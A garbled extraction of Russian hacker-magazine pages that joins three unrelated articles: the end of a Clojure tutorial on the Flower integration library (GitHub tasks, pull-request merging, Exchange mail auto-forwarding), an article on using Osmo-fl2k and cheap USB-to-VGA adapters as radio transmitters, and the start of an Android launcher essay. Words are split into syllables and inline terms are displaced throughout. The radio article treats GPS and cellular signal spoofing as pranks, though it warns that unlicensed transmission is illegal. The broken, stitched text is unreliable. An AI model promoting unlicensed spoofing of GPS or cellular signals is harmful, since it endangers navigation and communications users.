1  {:token {:github "****************************************"}}

Те перь мож но начать ста вить экспе римен ты. Для это го в дирек тории про екта
запус тим REPL из коман дной стро ки:

lein repl

Тре керы задач
Под клю чим необ ходимые модули и опре делим наш тре кер задач:

1  (require '[flower.macros]
2           '[flower.tracker.core])
3  (def tracker‐url "https://github.com/PositiveTechnologies/flower")
4  ;; Можно без этого макроса, если трекер задач
5  ;; приемлет запросы без авторизации
6  (flower.macros/with‐default‐credentials
7    (def pt‐github‐tracker (flower.tracker.core/get‐tracker tracker‐url)))

Да вай пос мотрим, что теперь содер жится в опре деле нии 
. Для наг ляднос ти  я  сде лал pretty‐вывод и  убрал не очень  важ ные сей час

поля.

pt‐github‐track‐
er

1  my‐new‐flower‐app.core=> pt‐github‐tracker
2  #flower.tracker.github.tracker.GithubTracker{
3    :tracker‐component #flower.tracker.core.TrackerComponent{
4                         :auth {:github‐token "********"}
5                         :context {}}
6    :tracker‐name :github‐github.com‐flower
7    :tracker‐url "https://github.com/PositiveTechnologies"
8    :tracker‐project "flower"}

Фун кция    под ста вила  авто риза цион ные  дан ные  и  раз верну ла
стро ковый  адрес  тре кера  задач  в  запись  с  общим  про токо лом 

.  Если  тип  тре кера  не  опре делил ся  вер но,  то
тип  записи  будет  .
Это поведе ние мож но изме нить, экс пли цит но ука зав тип тре кера с помощью
мак роса  .

get‐tracker
flower.

tracker.proto.TrackerProto
flower.tracker.default.tracker.DefaultTracker

flower.tracker.core/with‐tracker‐type
По лучить все задачи из тре кера мож но сле дующей коман дой:

1  (def tasks (.get‐tasks pt‐github‐tracker))

Са мос тоятель но можешь взгля нуть, из  каких полей сос тоит, нап ример, пер‐ 
вая  задача  в  тре кере  пос ле  выбор ки,  с  помощью  коман ды  ,
а затем давай сде лаем пол ную выбор ку в фор мате JSON. Зависи мость 

 при еха ла к нам вмес те с метапа кетом  , поэто му весь
оставший ся код будет выг лядеть так:

(first  tasks)
clo‐

jure.data.json flower

1  (require '[clojure.data.json])
2  ;; Функция сериализации, которую мы используем для удаления
3  ;; полей :tracker и разыменования дополнительных невыполненных
4  ;; полей (например, комментарии)
5  (defn serialize‐task [task]
6    (reduce‐kv (fn [self k v]
7                 (if (= k :tracker)
8                   self
9                   (assoc self
10                         k (if (delay? v) @v v))))
11              {}
12              task))
13 ;; Печатаем результирующий JSON
14 (clojure.data.json/pprint {:tasks (map serialize‐task
15                                        tasks)})

Из  инте рес ных  вещей,  которые  содер жит  в  себе  биб лиоте ка  Flower
при  работе  с  тре кера ми  задач,  мож но  выделить  еще  изме нение  полей
задачи. Дела ется это дву мя строч ками кода (и тре бует прав на запись):

1  ;; Получаем первую задачу из выборки
2  (def first‐task (first tasks))
3  ;; Обновляем поля заголовка и тегов
4  (.upsert! (assoc first‐task
5                   :task‐title "New title"
6                   :task‐tags ["sometag"]))

На  этом  мес те,  конеч но,  вывалит ся  ошиб ка  о  невоз можнос ти  что‐либо
записать  в  репози торий,  если  не  хва тает  на  это  прав: 

. Но если вдруг хва тает, то
для пер вой задачи из выбор ки будут фак тичес ки обновле ны заголо вок и теги,
а резуль татом вер нется обновлен ная запись.

RequestException 
Must have admin rights to Repository. (403)

Сис темы кон тро ля вер сий
С сис темами кон тро ля вер сий абсо лют но ана логич ная исто рия:

1  (require '[flower.macros]
2           '[flower.repository.core])
3  (def repo‐url "https://github.com/PositiveTechnologies/flower")
4  (flower.macros/with‐default‐credentials
5    (def pt‐github‐repo (flower.repository.core/get‐repository repo‐url)))

Зна комо, не прав да ли? Во вре мя раз работ ки биб лиоте ки я ста рал ся сде лать
так, что бы опре деле ния для раз ных типов сис тем были похожи меж ду собой
и что бы из наз ваний фун кций было понят но их наз начение.

Пос мотреть, какие фун кции под держи вают ся про токо лами раз личных сис‐ 
тем,  мож но    (одна ко  идея  записей  в  том,  что  обра щать ся  к  их  полям
мож но  и  нап рямую, минуя  вызовы  этих фун кций  в  про токо лах;  так  что,  если
для  какого‐то  поля  не  опре деле на  фун кция  выбор ки,  его  мож но  выб рать
из записи через фун кцию  ).

здесь

get
По лис таем теперь пулл‐рек весты из репози тория:

1  (def prs (.get‐pull‐requests pt‐github‐repo))
2  ;; Получаем первый пулл‐реквест из выборки
3  (def first‐pr (first prs))

Для выб ранно го пулл‐рек веста выведем на печать все  ком мента рии и счет‐ 
чики (нап ример, количес тво ком мента риев LGTM):

1  (println (.get‐comments first‐pr))
2  (println (.get‐counters first‐pr))

Ес ли вдруг у тебя есть пра ва на запись в репози торий, то мож но смер джить
пулл‐рек вест. Мер джить будем, толь ко если один из ком мента риев содер жит
сло во LGTM:

1  (when (> (get (.get‐counters first‐pr)
2                :count‐lgtms)
3           0)
4    (.merge‐pull‐request! first‐pr))

Сис темы обме на сооб щени ями
По ра прог рам мно почитать рабочую поч ту! Для это го нуж но добавить в соз‐ 
данный  рань ше    запись  акка унта  Exchange.  Пос ле
добав ления учет ных дан ных файл может выг лядеть, нап ример, так (в при мере
поле    содер жит  поль зовате ля  Exchange,    —  его  пароль, 

 — домен Active Directory и   — поч товый адрес поль зовате ля):

~/.credentials.edn

:login :password
:domain :email

1  {:token {:github "****************************************"}
2   :account {:login "jdoe"
3             :password "************************"
4             :domain "EXAMPLE"
5             :email "jdoe@example.com"}}

Так  как  метапа кет  не  вклю чает  в  себя  зависи мос ти  кон крет ных  реали заций
мес сен джин говых сис тем, то каж дую нуж но ука зывать в   экс пли‐ 
цит но.  Для  Exchange  необ ходимо  под клю чить  пакет 

.  Ито говый  файл  про екта  пос ле  это го  будет
выг лядеть, нап ример, так:

project.clj
[flower/flower‐inte‐

gration‐exchange  "0.4.3"]

1  (defproject my‐new‐flower‐app "0.1.0‐SNAPSHOT"
2    :description "FIXME: write description"
3    :url "http://example.com/FIXME"
4    :dependencies [[org.clojure/clojure "1.9.0"]
5                   [flower "0.4.3"]
6                   [flower/flower‐integration‐exchange "0.4.3"]]
7    :main ^:skip‐aot my‐new‐flower.core
8    :target‐path "target/%s"
9    :profiles {:uberjar {:aot :all}})

Пе реза пус тим REPL, зак рыв его и пов торно из дирек тории про екта выпол нив
коман ду  .  Пос ле  это го  мож но  прис тупить  к  под клю чению  биб‐ 
лиотек и опре деле нию поч тового ящи ка:

lein  repl

1  (require '[flower.macros]
2           '[flower.messaging.core])
3  (flower.macros/with‐default‐credentials
4    (flower.messaging.core/with‐messaging‐type :exchange
5      (def msg‐box (flower.messaging.core/get‐messaging))))

Вы берем пер вое сооб щение из поч тового ящи ка с заг рузкой тела сооб щения
и отпра вим его же на дру гой поч товый ящик  (фак тичес ки это не пересыл ка,
а отправ ка нового сооб щения с заменой получа теля):

1  (def first‐msg (first (.search‐messages msg‐box
2                                          {:count 1
3                                           :load‐body true})))
4  (.send‐message! (assoc first‐msg
5                         :msg‐recipients ["jstiles@example.com"]))

Но  еще  инте рес нее  нас тро ить  авто мати чес кую  пересыл ку  писем.  Так
как  пакет    уста нов лен  как  зависи мость  метапа кета

, то мож но сра зу же исполь зовать его для асин хрон ной обра бот ки вхо‐ 
дящих сооб щений:

clojure.core.async
flower

1  (require '[clojure.core.async :as async])
2  ;; Подпишемся на входящие сообщения
3  (def ch (.subscribe msg‐box
4                      {:load‐body true}))
5  ;; Создаем сопрограмму для вывода на печать
6  ;; и автоматической пересылки сообщений
7  (async/go‐loop []
8    (when‐let [msg (async/<! ch)]
9      (println msg)
10     (.send‐message! (assoc msg
11                            :msg‐recipients ["jstiles@example.com"]))
12     (recur)))

Те перь при запущен ном при ложе нии с подоб ным кодом все вхо дящие сооб‐ 
щения  будут  отправ лять ся  на  дру гой  поч товый  ящик  сра зу  же,  как  толь ко
будут получе ны.

ЗАКЛЮЧИТЕЛЬНОЕ СЛОВО
В статье я показал лишь неболь шую часть при меров при мене ния биб лиоте ки
интегра ции.  С  эти ми  зна ниями  уже  мож но  писать  неболь шие  сце нарии 

  а  пос ле  пог ружения  в Clojure мож но писать  и  готовый прог рам мный ad hoc,
продукт.

В моих пла нах — добавить в биб лиоте ку под дер жку боль шего чис ла сер‐ 
висов.  YouTrack,  HipChat,  Telegram  и  некото рые  дру гие  сис темы  ждут  сво ей
оче реди  на  добав ление.  Пос коль ку  про ект  опен сор сный,  я  пред лагаю  тебе
при соеди нить ся  любым  дос тупным  спо собом:  даже  прос той фид бек  в  виде
Issue  на  «Гит хабе»  будет  очень  цен ным  для  меня.  А  заведен ный  авто мати‐ 
зиро ван но, с исполь зовани ем самой биб лиоте ки — вдвой не!

https://clojure.org/
https://github.com/nasa/Common-Metadata-Repository
https://github.com/threatgrid
https://github.com/circleci/frontend
https://github.com/jepsen-io/jepsen
https://clojure.org/community/companies
https://github.com/PositiveTechnologies/flower
https://leiningen.org/
https://www.braveclojure.com/
https://github.com/settings/tokens
https://github.com/PositiveTechnologies/flower/tree/master/flower-proto/src/flower
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ТРЮКИ

Ути лита  Osmo‐fl2k  прев раща ет  адап тер  с  USB  на  VGA
за  15  дол ларов  в  SDR‐передат чик,  который  поз воля ет
вещать  в  диапа зонах  FM‐радио  и  телеви дения  DTV,  под‐ 
делывать  сиг нал  GPS  или  симули ровать  базовую  стан цию
UMTS. Неп лохая шту ка для дру жес ких розыг рышей и дру гих
инте рес ных при мене ний. В этой статье мы погово рим о том,
как такое вооб ще воз можно, и раз берем необ ходимые шаги.

INFO

В  статье  исполь зованы  матери алы 
авто ра  ути литы  Сти ва  Марк гра фа,  которую  он
пред ста вил  на  OsmoDevCon  2018,    в  вики
Osmocom  и    Томаса  Си  в  бло ге  Hacker‐
noon.  Адап тировал  и  перевел  Андрей  Пись мен‐ 
ный.

пре зен тации

статьи
за мет ки

SDR‐при емни ки  в  пос леднее  вре мя  замет но  упа ли  в  цене,  да  и SDR с  воз‐ 
можнос тями передат чика тоже дешеве ют, но все еще могут обой тись в сот ни
дол ларов, как, нап ример, Hack‐RF. Про ект Osmo‐fl2k поз воля ет исполь зовать
переход ник USB 3.0 на VGA, осно ван ный на чипе Fresco Logic FL2000 в качес‐ 
тве  ЦАП  обще го  наз начения  и  SDR‐передат чика.  Сто ят  такие  переход ники
при мер но  по  5  дол ларов  за  шту ку.  Бла года ря  Osmo‐FL2K  мож но  генери‐ 
ровать  неп рерыв ный  поток  сем плов  и  избе гать  интерва лов  горизон таль ной
и вер тикаль ной син хро низа ции.

Нес мотря  на  то  что  выход ной  сиг нал  слаб,  его  более  чем  дос таточ но
для  того,  что бы  зах ватить  час тоту  FM  на  рас сто янии  нес коль ких  мет ров
или изоб разить сиг нал спут ника GPS, который обыч но про ходит сот ни тысяч
километ ров.

WARNING

Ис поль зовать  передат чик  с  FL2000  с  незафиль‐ 
тро ван ным  выходом  ЦАП  и  при соеди нен ной
антенной  за  пре дела ми  экра ниро ван ного
помеще ния незакон но без лицен зии. Вся ответс‐ 
твен ность  за  неос торож ное  исполь зование  опи‐ 
сан ного  устрой ства  будет  лежать  на  тебе.  Под‐ 
робнее о пре дос торож ностях — в кон це статьи.

ПРЕДЫСТОРИЯ
За иде ей исполь зовать адап тер VGA в качес тве передат чика — длин ная исто‐ 
рия.

В  2001  году  Эрик  Тьель  выпус тил  прог рамму  ,  которая
переда ет сиг нал в диапа зоне AM.

• Tempest  for  Eliza

В 2005 году Фаб рис Бел лар исполь зовал виде окар ту ATI Radeon 9200SE,
что бы переда вать  .

•
ви деосиг налы DVB‐T, PAL и NTSC

Поз же,  в  2009  году,  Бар тек  Каниа  опуб ликовал    —  прог рамму,
которая  поз воля ет  переда вать  FM‐радио  в  режиме  реаль ного  вре мени
при помощи SDL и обыч ной виде окар ты.

• VGASIG

В 2013 году siro исполь зовал все три выхода ЦАП кар ты VGA и при соеди‐ 
нен ного модуля тора вво да‐вывода, что бы  .

•
пе реда вать любые сиг налы

Глав ный недос таток при исполь зовании обыч ной виде окар ты в том, что сиг‐ 
нал, который генери рует RAMDAC, не до кон ца под кон тро лен поль зовате лю.
Вызыва ется  это  тем,  что  VGA  исполь зует  горизон таль ное  и  вер тикаль ное
запира ние,  которое  пре рыва ет  сиг нал.  В  отли чие  от  кон курен тов,  про изво‐ 
дящих  устрой ства  DisplayLink,  которые  ско рее  напоми нают  обыч ные  виде‐ 
окар ты с интерфей сом USB 2.0/3.0, во Fresco Logic избра ли дру гой под ход и,
кста ти, запатен товали его.

Вмес то того что бы встра ивать фрей мбу фер для ЦАП VGA в само устрой‐ 
ство, они исполь зовали память компь юте ра и неп рерыв но посыла ют дан ные
по  USB.  Это  дела ет  адап теры  осо бен но  дешевы ми,  пос коль ку  они  сос тоят
из  единс твен ного  чипа  без  памяти  под  фрей мбу фер.  Глав ный  недос таток,
конеч но, в том, что на это тра тят ся ресур сы про цес сора и шина USB ока зыва‐ 
ется забитой. Это при водит к про пус ку кад ров и миганию экра на.

Раз ревер сив  USB‐про токол  FL2000  в  2016  году,  Стив  Марк граф  экспе‐ 
римен таль ным  путем  обна ружил,  что  воз можно  исполь зовать  FL2000  таким
обра зом, что бы горизон таль ная и вер тикаль ная син хро низа ция отклю чалась.
Это дает воз можность слать неп рерыв ный поток сем плов. Эта работа и ста ла
осно вой  для  Osmo‐fl2k,  которая  поз воля ет  переда вать  сла босиль ные  сиг‐ 
налы FM, DAB, DVB‐T, GSM, UMTS и GPS.

ПОДДЕРЖИВАЕМОЕ ЖЕЛЕЗО
Для наших экспе римен тов, как ты понима ешь, под ходит далеко не любой кон‐ 
вертер. Прой дем ся по вари антам.

Дон глы USB 3.0 на VGA
Под держи вают ся толь ко устрой ства с чипом Fresco Logic FL2000. Обыч но они
мар киру ются как адап теры USB 3.0 на VGA с под дер жкой раз решения 1920 ×
1080 по USB 3.0 и 800 × 600 по USB 2.0. Иног да быва ет написа но, что мак‐ 
сималь ное  раз решение  —  1920  ×  1200,  но  этот  режим  работа ет  толь ко
с некото рыми кон трол лерами xHCI при вклю чен ной ком прес сии RLE.

Ес ли  на  короб ке  написа но,  что  мак сималь ное  раз решение  2048  ×  1152,
и  заяв лена  под дер жка  macOS  либо  толь ко  интерфейс  USB  2.0,  то  внут ри
будет чип DisplayLink, который несов местим с Osmo‐fl2k.

Це ны  на  адап теры  с  FL2000  варь иру ются  в  пре делах  5–15  дол ларов,
а  девай сы  с  DisplayLink  сто ят  25  дол ларов  и  более.  Так же  заметь,  что
в  устрой ствах  с  кон некто ром  USB‐C  дру гой  чип сет  (нап ример,  Realtek  RT‐
D2166) и это все го лишь кон верте ры с DisplayPort на VGA.

Най ти нуж ный адап тер мож но на AliExpress, eBay или Amazon. Устрой ства
быва ют  раз ных  раз меров,  иног да  заод но  под держи вают  DVI  или  HDMI.
Ниже — два наибо лее типич ных вида устрой ств.

Дон глы USB 3.0 на HDMI
Ес ли тебе уда лось раз добыть толь ко адап тер VGA с USB 3.0 и HDMI, а внут ри
у  него  FL2000‐1Q0‐DX  (тот  же  чип  в  более  круп ном  кор пусе  с  88  нож ками
и  парал лель ным  выводом  RGB)  и  ты  не  пос тесня ешь ся  при паять  кон такты
к бло кам QFN с пла нар ными вывода ми, то тебе при годит ся рас пинов ка ЦАП
VGA, при веден ная ниже.

Во всех адап терах с USB 3.0 на HDMI, осно ван ных на FL2000, сто ит регуля тор
нап ряжения  на  1,2 В,  и  он,  похоже,  исполь зует ся  не  толь ко  что бы  задавать
опор ное нап ряжение для ЦАП.

СРАВНЕНИЕ ХОСТОВЫХ КОНТРОЛЛЕРОВ USB
Megasamples  показы вает,  что  про изво дитель ность  SDR/ЦАП  в  секун ду
зависит  от  кон трол лера  xHCI  на  компь юте ре.  Ниже  при веде ны  резуль таты
замеров, можешь ими руководс тво вать ся.

Из мерить  про изво дитель ность  тво его  кон трол лера  USB  ты  можешь
коман дой

> fl2k_test ‐s 162e6

В резуль тате получа ется что‐то такое:

real sample rate: 157023826 current PPM: ‐30717 cumulative PPM: 
‐30717

В  этом  при мере  сис тема  не  может  выдать  устрой ству  боль ше,
чем 157 мегасем плов в секун ду (если пом ножить на три канала ЦАП, то вый‐ 
дет 471 мегасемпл в секун ду). Можешь сно ва запус тить fl2k_test, задав более
низ кую  час тоту,  чем  та,  что  была  опре деле на  как  мак сималь ная,  и  пос‐ 
мотреть, нас коль ко ста биль но все будет работать.

Ни же — таб лица с резуль татами на раз ных кон трол лерах.

Кон трол лер USB 3.0
Дос тижимая час тота

сем пли рова ния

Intel Corporation 8 Series USB xHCI HC (rev 04) 157 MS/s

Intel  Corporation  7  Series/C210  Series  Chipset
Family USB xHCI Host Controller (rev 04)

157 MS/s

Intel Corporation Wildcat Point‐LP USB xHCI Con‐
troller (rev 03)

157 MS/s

Intel  Corporation  Sunrise  Point‐LP  USB  3.0  xHCI
Controller (rev 21)

155 MS/s

Samsung Galaxy S5 msm‐dwc3 (на Synopsys De‐
signWare USB3.0 IP)

148 MS/s

Odroid XU4 (на Synopsys DesignWare USB3.0 IP) 147 MS/s

ASMedia Technology Inc. ASM1142 USB 3.1 Host
Controller

140 MS/s

Fresco Logic FL1100 USB 3.0 Host Controller (rev
10)

140 MS/s

Fresco Logic FL1100 USB 3.0 Host Controller (rev
01)

136 MS/s

Fresco Logic FL1009 USB 3.0 Host Controller (rev
02)

136 MS/s

Etron Technology, Inc. EJ188/EJ198 USB 3.0 Host
Controller

129 MS/s

VIA Technologies,  Inc. VL805 USB 3.0 Host Con‐
troller (rev 01)

123 MS/s

Etron Technology,  Inc. EJ168 USB 3.0 Host Con‐
troller (rev 01)

117 MS/s

Renesas  Technology Corp.  uPD720202 USB  3.0
Host Controller (rev 02)

115 MS/s

Intel USB 2.0 EHCI Controller 14 MS/s

БОТЛНЕК PCI EXPRESS НА СТАРЫХ СИСТЕМАХ
Ес ли  USB  3.0  на  тво ей  машине  реали зован  при  помощи  какой‐то  кар ты,
в осо бен ности если это ExpressCard на ноут буке, то узким мес том может быть
не USB 3.0, а сама шина PCI‐E. Про верить это мож но коман дой  .lspci ‐vv

Вы вод будет при мер но сле дующим.

04:00.0 USB controller: Renesas Technology Corp. uPD720202 USB 3.0 
Host Controller (rev 02) (prog‐if 30 [XHCI])
[...]
               LnkCap: Port #0, Speed 5GT/s, Width x1, ASPM L0s L1, 
Exit Latency L0s <4us, L1 unlimited
                       ClockPM+ Surprise‐ LLActRep‐ BwNot‐ ASPMOp
tComp‐
               LnkSta: Speed 2.5GT/s, Width x1, TrErr‐ Train‐ 
SlotClk+ DLActive‐ BWMgmt‐ ABWMgmt‐
               LnkCtl2: Target Link Speed: 5GT/s, EnterCompliance‐ 
SpeedDis‐

Здесь важ но содер жимое регис тра LnkSta. В этом слу чае связь PCI Express
работа ет  на  ско рос ти  2,5  гигат ранзак ции  в  секун ду  вмес то  пол ных  5  гигат‐ 
ранзак ций в секун ду, которые нуж ны для USB 3.0.

УСТАНОВКА
Что бы  работать  с  Osmo‐fl2k,  пер вым  делом  ска чива ем  исходни ки.  Тут  есть
два вари анта:

на вебе по адре су  ;• http://git.osmocom.org/osmo‐fl2k
ре пози торий  с  дос тупом  толь ко  на  чте ние: 

.
• git://git.osmocom.org/

osmo­fl2k

Что бы ском пилиро вать код, нуж но сна чала пос тавить заголов ки  , если
у  тебя  их  еще  нет  в  сис теме.  Если  у  тебя Debian‐образный  дис три бутив,  то
пиши

libusb

$ sudo apt‐get install libusb‐1.0‐0‐dev

Те перь мож но ком пилиро вать.

git clone git://git.osmocom.org/osmo‐fl2k.git
mkdir osmo‐fl2k/build
cd osmo‐fl2k/build
cmake ../ ‐DINSTALL_UDEV_RULES=ON
make ‐j 3
sudo make install
sudo ldconfig

Преж де чем исполь зовать устрой ство под поль зователь ским акка унтом, нуж‐ 
но заг рузить пра вила udev.

sudo udevadm control ‐R
sudo udevadm trigger

КАК ПОЛЬЗОВАТЬСЯ OSMO-FL2K
Ни же при веде ны типовые коман ды для наибо лее рас простра нен ных слу чаев
исполь зования.

РИЛТАЙМОВОЕ ВЕЩАНИЕ WBFM
Бла года ря fl2k_fm мож но переда вать вывод зву ковой кар ты в широком диапа‐ 
зоне FM. Для это го нуж но пос тавить SoX и pv.

$ sudo apt‐get install sox pv

Для начала нуж но узнать наз вание монито ра ауди овы хода:

$ pacmd list‐sources | grep name | grep monitor

Ре зуль тат будет при мер но такой:

name: <alsa_output.pci‐0000_00_1b.0.analog‐stereo.monitor>

Что бы переда вать выход аудио как моно WBFM на час тоте 95 МГц, можешь
ввес ти такую коман ду:

pacat ‐r ‐d alsa_output.pci‐0000_00_1b.0.analog‐stereo.monitor | \
pv ‐B 256k | \
sox ‐t raw  ‐r 44100 ‐e signed‐integer ‐L ‐b 16 ‐c 2 ‐ ‐c 1 ‐e 
signed‐integer ‐b 16 ‐t raw ‐ \
biquad 4.76963 ‐2.98129 0 1 0.78833 0 sinc ‐15k loudness 5 | \
fl2k_fm ‐ ‐s 130e6 ‐c 35e6 ‐i 44100

SoX будет  при менять  к  аудио филь тр  ниж них  час тот  15  кГц,  кон верти ровать
сте рео в моно и обес печивать пре дуси ление (с филь тром biquad). Ути лита pv
обес печива ет допол нитель ную буфери зацию — это опци ональ ная вещь.

Что бы  вещать  сте рео  WBFM  при  помощи  RDS,  можешь  исполь зовать
такую коман ду:

pacat ‐r ‐d alsa_output.pci‐0000_00_1b.0.analog‐stereo.monitor | \
pv ‐B 256k | \
sox ‐t raw ‐r 44100 ‐e signed‐integer ‐L ‐b 16 ‐c 2 ‐ ‐c 2 ‐e 
signed‐integer ‐b 16 ‐t raw ‐ \
biquad 4.76963 ‐2.98129 0 1 0.78833 0 sinc ‐15k rate ‐h 228000 
loudness 5 | \
fl2k_fm ‐ ‐s 130e6 ‐c 30e6 ‐i 228000 ‐‐stereo ‐‐rds

Те перь SoX ресем пли рует аудио в 228 кГц — это нуж но для модуля тора RDS.
Ути лита fl2k_fm при нима ет 16‐бит ные «сырые» сем плы PCM.

ТРАНСЛЯЦИЯ GSM
По токо вые  гра фы  GNU  Radio,  рав но  как  и  немоду лиро ван ные  сем плы,
которые нуж ны для тран сля ции GSM и UMTS, мож но най ти в репози тории 

.
fl2k‐

examples

Юри дичес кие аспекты (не засоряй час тоты!)
Ес ли ты уже исполь зуешь любой ради опе редат чик, в осо бен ности самодель‐ 
ный  или  SDR,  сто ит  полагать,  что  ты  зна ком  с  юри дичес кими  и  эти чес кими
аспекта ми  ради опе редач.  Не  исполь зуй  передат чик,  пока  у  тебя  есть  сом‐ 
нения  отно ситель но  легаль нос ти.  В  боль шинс тве  слу чаев  тебе  пот ребу ется
как минимум ради олю битель ская катего рия.

Сы рой, нефиль тро ван ный вывод ЦАП будет содер жать мно гие гар моники,
крат ные немоду лиро ван ной час тоте. Имен но это кре атив но экс плу ати рует ся
в Osmo‐fl2k, что бы генери ровать сиг нал гораз до более высокой час тоты, чем
мож но было бы получить при помощи ЦАП на 165 МГц без пре обра зова ния
с повыше нием час тоты. Одна ко это зна чит еще и что час тотный спектр будет
содер жать  не  толь ко  нуж ную  гар монику,  но  и  все  низ шие  гар моники,  рав но
как и немоду лиро ван ную час тоту.

Преж де чем что‐либо переда вать при помощи FL2000, рекомен дуем про‐ 
верить  получа емый  спектр  ана лиза тором  и  при менить  филь тра цию,  что бы
подавить все час тоты, кро ме той, на которой пред полага ется переда вать.

Ли бо для тес тов можешь соеди нить передат чик с при емни ком коак сиаль‐ 
ным кабелем, сде лав соот ветс тву ющие изме нения.

mailto:xakep@glc.ru
http://people.osmocom.org/steve-m/fl2k_slides/osmo-fl2k.html
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http://www.erikyyy.de/tempest/
https://bellard.org/dvbt/
https://bk.gnarf.org/creativity/vgasig/
https://wiki.das-labor.org/w/VGAtoBaseband
https://www.youtube.com/watch?v=Rdwg_0aSsp0
http://git.osmocom.org/osmo-fl2k
https://github.com/steve-m/fl2k-examples
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ТРЮКИ

Не  знаю,  как  тебе,  а  мне  всег да  казалось
стран ным, что мощ ный смар тфон, свя зыва‐ 
ющий людей друг  с дру гом и  всем осталь‐ 
ным миром, в качес тве клю чево го эле мен та
интерфей са  исполь зует  абсо лют но  бес‐ 
полез ный неин форма тив ный экран со знач‐ 
ками.  Да,  есть  бей джи,  да,  икон ки  часов
и  кален даря  дей стви тель но  показы вают
вре мя и дату, но вы серь езно? Пер вое, что
видит  поль зователь,  —  это  прос то  сет ка
ико нок?

WWW

Ес ли ты прос то хотел узнать, какой ответ на при‐ 
веден ный выше воп рос пред лагаю я, вот ссыл ка:

. При ложе ние бес плат ное и работа ет
на  любом  Android‐смар тфо не  с  вер сией  ОС
от 4.4.

AIO Launcher

В ЧЕМ ПРОБЛЕМА
Пред ставь  себе,  что  ты  садишь ся  за  штур вал  самоле та  (или  тре наже ра).
Перед тобой огромная при бор ная панель, но все мно гочис ленные информа‐ 
цион ные экра ны и  тум бле ры зак рыты крыш ками, на которых при веде но наз‐ 
вание  и  крат кое  опи сание  спря тан ного  под  ними  эле мен та  управле ния.
В пер вый день обу чения инс трук тор объ ясня ет тебе пра вила: крыш ки откры‐ 
вают ся лег ким при кос новени ем, но, ког да откры ваешь одну из них, осталь ные
зак рыва ются. Сде лано  так,  что бы  ты  всег да  знал,  где  и  что  находит ся,  и  не
потерял ся в море экра нов, тум бле ров и рычагов.

В  пер вые  дни  обу чения  ты  бла года ришь  конс трук торов,  при думав ших
такую дру желюб ную к нович кам сис тему управле ния. Но со вре менем замеча‐ 
ешь, что она работа ет про тив тебя. Ты уже разоб рался, что к чему, тебе надо
кон тро лиро вать  самолет,  знать,  что  про исхо дит,  и  иметь  пря мой  дос туп
к любым эле мен там управле ния. Поэто му ты про сишь инс трук тора отклю чить
фун кцию авто мати чес кого зак рытия кры шек, а еще луч ше убрать их вооб ще.

Но  инс трук тор  отве чает,  что  это  невоз можно,  и  добав ляет,  что  все  сов‐ 
ремен ные самоле ты осна щены имен но такой при бор ной панелью, это стан‐ 
дарт; и вооб ще, мно го ты понима ешь в интерфей се, который при думал гени‐ 
аль ный Дрон ни Ойв!

Я  не  при рав ниваю  самоле ты  к  смар тфо нам,  а  лишь  хочу  показать,  что
поль зовате лю  сис темы,  генери рующей  огромное  количес тво  информа ции,
луч ше  видеть  эту  информа цию  на  мес те,  а  не  толь ко  пос ле  при кос новения
паль ца.  Но  все  не  так.  Вмес то  информа ции  нам  пред лага ют  смот реть
на «крыш ки» (икон ки), под которы ми эта информа ция пря чет ся.

Да, в Android есть вид жеты, и, пот ратив уйму вре мени, ты смо жешь най ти
вид жеты,  показы вающие  любую  полез ную  тебе  информа цию…  и  получишь
пес трый  экран,  офор млен ный  в  раз ном  сти ле,  цве те  и  с  раз личны ми  раз‐ 
мерами шриф тов. Будет ли он удо бен? Нет, я про бовал, это мучение.

А  ведь  мно гие  из  нас  уже  видели  дей стви тель но  пра виль ный  домаш ний
экран смар тфо на. Это экран «Сегод ня» в Windows Mobile. Да, я тоже не люб‐ 
лю эту ОС и счи таю край не неудоб ной в исполь зовании, но домаш ний экран
WM был шагом в пра виль ную сто рону.

Поз же, уже в домаш нем экра не Windows Phone, MS попыта лась сде лать «неч‐ 
то  подоб ное,  но  в  сов ремен ном  сти ле».  Одна ко  плит ки  Windows  Phone
получи лись ско рее при коль ные, чем информа тив ные. Они занима ли слиш ком
мно го прос транс тва и час то вмес то деталь ной информа ции показы вали чис‐ 
ло или пару слов о каком‐то событии.

Еще был SlideScreen,  неверо ятно  кру той  лаун чер  для  Android  от  Larva  Labs.
Его  экран  поч ти  пол ностью  сос тоял  из  информа ции:  пос ледние  пись ма,
сооб щения в Twitter и Facebook, про пущен ные звон ки, СМС и даже котиров ки
акций. Larva Labs сде лали это еще во вре мена Android 2.1, но вско ре выяс‐ 
нилось, что оку пить раз работ ку такого при ложе ния прос то невоз можно: поль‐ 
зовате ли не понима ли его и отка зыва лись ухо дить с при выч ного ико ноч ного
интерфей са.

Свои  попыт ки  были  у  Yahoo  (Aviate), MS  (Microsoft  Launcher)  и  незави симых
раз работ чиков (хороший при мер: ASAP Launcher). Лич но мне ни одна из них
не показа лась удач ной. Раз работ чики либо боялись пол ностью отка зывать ся
от  кон цепции  ико нок  на  рабочем  сто ле,  либо  исполь зовали  прос транс тво
экра на край не нераци ональ но.

Приш ла идея сде лать все по‐сво ему.

ПРОСТОТА, МИНИМАЛИЗМ, ЭФФЕКТИВНОСТЬ
Клю чевые идеи AIO Launcher:

.  Сет ка  ико нок  —  пес трая  моза ика  без  какой‐либо
информа цион ной наг рузки. Как выг лядит икон ка Skype? Лич но я вспо минаю
неч то  нев нятное  ярко го  синего  цве та.  А  Dropbox?  Уже  уга дыва ются  чер ты
короб ки, которой дав но нет, но глав ное — это тем но‐синий, не так ли? Еще у
нас есть Feedly — зеленый, Сбер банк — сно ва зеленый. Pocket — крас ный,
Yandex Taxi — жел тый.

1.  К  чер ту  икон ки

Мы диф ферен циру ем не икон ки, а цве та и наз вания. Икон ки — ненуж ный
отвле кающий шум. По‐хороше му их прос то не дол жно быть. И по умол чанию
в AIO Launcher их нет. Зато есть сор тиров ка при ложе ний по количес тву запус‐ 
ков, так что на экра не всег да находит ся толь ко то, что тебе нуж но, то, чем ты
поль зуешь ся.

 На экра не устрой ства, который
называ ется  «телефон»?  Конеч но  же,  спи сок  звон ков  тво ей  бабуш ки.  А  еще
пос ледние СМС.

2. Что еще дол жно быть на экра не?

Но  у  нас  же  не  прос то  телефон,  это  смар тфон.  Поэто му  обя затель но
покажем погоду,  поч ту,  новос ти,  тви ты,  сооб щения  телег рама,  кален дарь  и,
конеч но  же,  курс  бит кой на.  Зас тавим  все  это  прос то  работать  без  вся ких
логинов  и  получим  смар тфон  с  боль шой  бук вы.  Смар тфон,  который  сра зу
покажет  всю нуж ную инфу без  необ ходимос ти  нажимать  что бы  то  ни было.
Раз ве не так это дол жно работать?

AIO  Launcher —  не  про изве дение  искусс тва  и  не  кон курент  всем  вашим
